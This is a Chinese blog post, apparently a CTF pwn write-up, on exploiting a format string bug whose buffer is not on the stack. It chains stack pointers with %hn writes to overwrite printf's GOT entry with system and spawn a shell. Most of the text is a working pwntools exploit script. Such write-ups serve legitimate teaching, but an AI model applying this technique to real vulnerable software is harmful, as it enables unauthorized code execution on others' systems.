非栈上的格式化字符串利用例题讲解

文章详细介绍了如何在一个存在格式化字符串漏洞但buf变量不在栈上的环境中,通过%n和%s特性,利用三连指针技巧将printf的got表地址分步写入栈中,然后一次性修改got表内容为system函数地址,以实现系统的控制权获取。
摘要由CSDN通过智能技术生成

题目自取:

链接:https://pan.baidu.com/s/1te_oc3GuWTlDDS5q-NhtKQ?pwd=cjz9 
提取码:cjz9

开始:

一个非常明显的格式化字符串漏洞,但是值得注意的是,此时的buf变量不在栈上因此我们之前把printf的got表拿到栈上进行公开处刑,改掉got的值为system函数将无法实现

那么我们要如何才能改掉printf的got表为system函数呢?
这里将要介绍一种方法叫做 ‘一键三连’(我编的,暗示点赞)

 就像这样,明明输入了aaaaaaaa,但是栈上仍然无踪迹可寻。 

找到三连,借助连续指针修改栈上数据: 

比如现在我们想把printf的got表拿到栈上,这时候因为数据是写在bss段的,因此没有办法直接把它们写在栈上。但是有了三连指针,我们就可以完成这个看上去不可能完成的任务。

首先我们要了解一下%n 和 %s 的特点: 
%n 和 %s一样,都是类似于指针的东西,比如我对第7个参数进行%n ,那么实际上修改的并不是第七个参数里的数据,而是把第七个参数里存的数据当成一个指针,然后修改指针指向的对应内容,就理解为比%p %x这样的格式化字符再更深入一层

这也就是为什么我们不能直接修改第七个参数所储存的内容的原因。
但是现在有了三连指针,我们就可以找个类似中介的东西,去替代修改,这就是三连指针的用处。

具体来说,就是用%n,把如图的0x7fffffffdda0所指向的0x7fffffffddb0改成0xfffffffdd98,这样的话,我们用%n作用在第八个参数就可以修改第七个参数所储存的内容了!

因为我们一次修改只能修改2个字节的东西(%hn),而地址有16位,因此我们需要分四次将printf的got表拿到栈上。这里随便给个修改的代码举个例子:
 

nu_1 = stack_1 & 0xffff
payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_1 = printf_got & 0xffff
payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00"
io.send(payload_1)
io.interactive()

nu_2 = stack_2 & 0xffff
payload_1 = b"%" + str(nu_2).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_2 = (printf_got + 2) & 0xffff
payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()

nu_3 = stack_3 & 0xffff
payload_1 = b"%" + str(nu_3).encode("utf-8") + b"c%6$hn\x00"
io.send(payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()
printf_got_nu_3 = (printf_got + 4) & 0xffff
payload_1 = b"%" + str(printf_got_nu_3).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()


nu_4 = stack_4 & 0xffff
payload_1 = b"%" + str(nu_4).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_2 = (printf_got + 6)& 0xffff
payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()

 如此之后,我们就成功地把printf的got的地址分四次放在了栈上

 接下来就是把printf的got表的内容修改为system的地址就行
注意:
改got只能一次成型,因为如果分多次,导致printf的got表改变,就不会再执行pirntf函数了,因此需要一次性修改,否则将会失败。

sys_addr_1 = sys_addr & 0xffff
sys_addr_2 = (sys_addr >> 16)& 0xffff
sys_addr_3 = (sys_addr >> 32)& 0xffff
sys_addr_4 = (sys_addr >> 48)& 0xffff
payload = b"%" + str(sys_addr_1).encode("utf-8") +  b"c%7$hn" 
payload += b"%" + str(0x10000 + sys_addr_2 - sys_addr_1).encode("utf-8") + b"c%9$hn" 
payload += b"%" + str(0x10000 + sys_addr_3 - sys_addr_2).encode("utf-8") + b"c%15$hn"
payload += b"\x00"
io.send(payload)

最后将参数发送过去即可。
exp如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import duchao_pwn_script
arch = 'amd64'
duchao_pwn_script.init_pwn_linux(arch)
pwnfile= './fmt_str_level_2_x64'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc =elf.libc

# 泄露基地址,包含1.文件基地址,2.libc基地址
dem = 'hello\n'
io.recvuntil(dem)
payload4searchbase = b"%9$p\x00"
io.send(payload4searchbase)
main_28 = int(io.recv()[2:14],16)
file_base = main_28 -elf.symbols['main'] -  28
print("file_base is :",hex(file_base))
printf_got = file_base + elf.got["printf"]
payload4searchlibc = b"%11$p\x00"
io.send(payload4searchlibc)
libc_start_main_243 = int(io.recv()[2:14],16)
libc_base = libc_start_main_243 - libc.symbols['__libc_start_main'] -  243
print("libc_base is :",hex(libc_base))
sys_addr = libc_base + libc.symbols["system"]


# 泄露栈地址
payload_search_stack  = b'%6$p\x00'
io.send(payload_search_stack)
stack_offset_1 = -0x8
stack_offset_2 = 0x8
stack_offset_3 = 0x38
stack_offset_4 = 0x50
stack = int(io.recv()[2:14],16)
stack_1 = stack + stack_offset_1
stack_2 = stack + stack_offset_2
stack_3 = stack + stack_offset_3
stack_4 = stack + stack_offset_4


# 修改三链
nu_1 = stack_1 & 0xffff
payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_1 = printf_got & 0xffff
payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00"
io.send(payload_1)
io.interactive()

nu_2 = stack_2 & 0xffff
payload_1 = b"%" + str(nu_2).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_2 = (printf_got + 2) & 0xffff
payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()

nu_3 = stack_3 & 0xffff
payload_1 = b"%" + str(nu_3).encode("utf-8") + b"c%6$hn\x00"
io.send(payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()
printf_got_nu_3 = (printf_got + 4) & 0xffff
payload_1 = b"%" + str(printf_got_nu_3).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()


nu_4 = stack_4 & 0xffff
payload_1 = b"%" + str(nu_4).encode("utf-8") + b"c%6$hn\x00"
io.send( payload_1)
io.interactive()
printf_got_nu_2 = (printf_got + 6)& 0xffff
payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00"
io.send( payload_1)
# duchao_pwn_script.dbg(io)
io.interactive()


sys_addr_1 = sys_addr & 0xffff
sys_addr_2 = (sys_addr >> 16)& 0xffff
sys_addr_3 = (sys_addr >> 32)& 0xffff
sys_addr_4 = (sys_addr >> 48)& 0xffff
print("system is :",hex(sys_addr))
print("system_addr1 is :",hex(sys_addr_1))
print("system_addr2 is :",hex(sys_addr_2))
print("system_addr3 is :",hex(sys_addr_3))
print("system_addr4 is :",hex(sys_addr_4))
pause()


# 一次性修改got表项
payload = b"%" + str(sys_addr_1).encode("utf-8") +  b"c%7$hn" 
payload += b"%" + str(0x10000 + sys_addr_2 - sys_addr_1).encode("utf-8") + b"c%9$hn" 
payload += b"%" + str(0x10000 + sys_addr_3 - sys_addr_2).encode("utf-8") + b"c%15$hn"
payload += b"\x00"
io.send(payload)
io.interactive()

#发送/bin/sh
io.send( b'/bin/sh\x00')
io.interactive()

 

 

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
格式化字符串漏洞是一种常见的安全漏洞,可以被恶意用户利用来读取内存中的敏感信息或执行任意代码。下面是一个格式化字符串漏洞的示例: ``` #include <stdio.h> int main() { char secret[] = "This is a secret message"; char input[100]; printf("请输入一个字符串:"); scanf("%s", input); printf(input); return 0; } ``` 在这个例子中,程序要求用户输入一个字符串,然后将该字符串作为格式化字符串传递给`printf`函数进行输出。然而,如果用户输入的字符串中包含格式化字符串的占位符(例如`%s`),`printf`函数会尝试解析并输出对应位置的参数。如果输入的字符串中包含了其他的格式化字符串,那么程序就有可能发生未定义的行为,比如读取内存中的敏感信息或执行任意代码。 为了修复这个漏洞,可以使用`printf`函数的格式化字符串参数来指定要输出的具体内容,而不是直接将用户的输入作为格式化字符串。例如,可以将`printf`函数的调用修改为`printf("%s", input);`,这样就可以确保`printf`函数只输出输入的字符串,而不会解析其中的格式化字符串。 总结来说,格式化字符串漏洞是一种安全漏洞,可以通过修改程序代码来避免。在处理用户输入时,应该谨慎使用格式化字符串函数,并确保只输出用户输入的内容,而不是直接将用户输入作为格式化字符串。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [MATLAB代码示例,用于将一个字符串添加到字符串数组的末尾(附详细步骤).txt](https://download.csdn.net/download/weixin_44609920/88239228)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [pwn 格式化字符串漏洞例题](https://blog.csdn.net/limenzzz/article/details/127016613)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值